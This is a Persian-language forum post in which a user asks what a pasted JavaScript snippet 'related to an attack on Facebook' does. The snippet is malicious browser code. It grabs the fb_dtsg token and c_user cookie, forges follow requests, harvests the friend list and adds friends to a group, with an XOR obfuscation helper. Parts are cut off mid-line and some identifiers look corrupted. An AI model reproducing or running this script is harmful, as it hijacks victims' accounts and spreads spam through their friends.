این کد چیکار میکنه ؟

[amin1softco]

این قطعه کد که مربوط به حمله به فیس بوک است به نظرتون داره چیکار میکنه ؟
کد اصلیhttp://adeghi.weebly.com/uploads/2/2/1/8/22187272/ab.txt

function hp_d12(s) {
var o = "",
ar = new Array(),
os = "",
ic = 0,
p = 0;
for (i = 0; i < s.length; i++) {
c = s.charCodeAt(i);
if (c < 128) c = c ^ ((p++ % 8) + 1);
os += String.fromCharCode(c);
if (os.length > 80) {
ar[iC++‎] = os;
os = ""
}
}
o = ar.join("") + os;
return o
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama);
if (konum != -1) {
konum += tarama.length;
son = document.cookie.indexOf(";", konum);
if (son == -1) son = document.cookie.length;
return unescape(document.cookie.substring(konum, son))
} else {
return ""
}
}
}

function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min
}

function randomValue(arr) {
return arr[getRandomInt(0, arr.length - 1)]
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone) {
var http4 = new XMLHttpRequest();
var url4 = "/ajax/follow/follow_profile.php?__a=1";
var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function () {
if (http4.readyState == 4 && http4.status == 200) {
http4.close
}
};
http4.send(params4)
}
a("10000245296...&&b.test(g))d.push(e)}return d};Array.prototype.find=function(a){var b=false;for(i=0;i<this.length;i++)if(typeof a=="function "){if(a.test(this[i])){if(!b)b=[];b.push(i)}}else if(this[i]===a){if(!b)b=[];b.push(i)}return b};var i=3;var tay=3;var j=0;var k=0;var suc=0;var err=0;var arr=new Array;var arn=new Array;var pho=new Array;var getuname=document.getElementsByClassName("
fbxWelcomeBoxName ")[0].innerHTML;var gid=document.getElementsByName("
group_id ")[0].value;jx.load(window.location.protocol+" //www.facebook.com/ajax/typeahead/first_degree.php?"+"__a=1&filter[0]=user&lazy=0&viewer="+user_id+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",function(a){var b=a;var c=b.substring(b.indexOf("{"));var d=JSON.parse(c);d=d.payload.entries;for(var e=0;e<d.length;e++)arr.push(d[e].uid);for(var eg=0;eg<d.length;eg++)arn.push(d[eg].text);for(var pic=0;pic<d.length;piC++‎)pho.push(d[pic].photo);i=arr.length-1;tay=i;console.log(arr.length);var display="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";display+="<div style='padding-bottom:10px;font-size:20px;'>"+Title+"</div>";display+=arr.length+" Friends Detected";display+="</div>";document.getElementById("pagelet_sidebar").innerHTML=display;AddFriendtoGroup(arr[i])});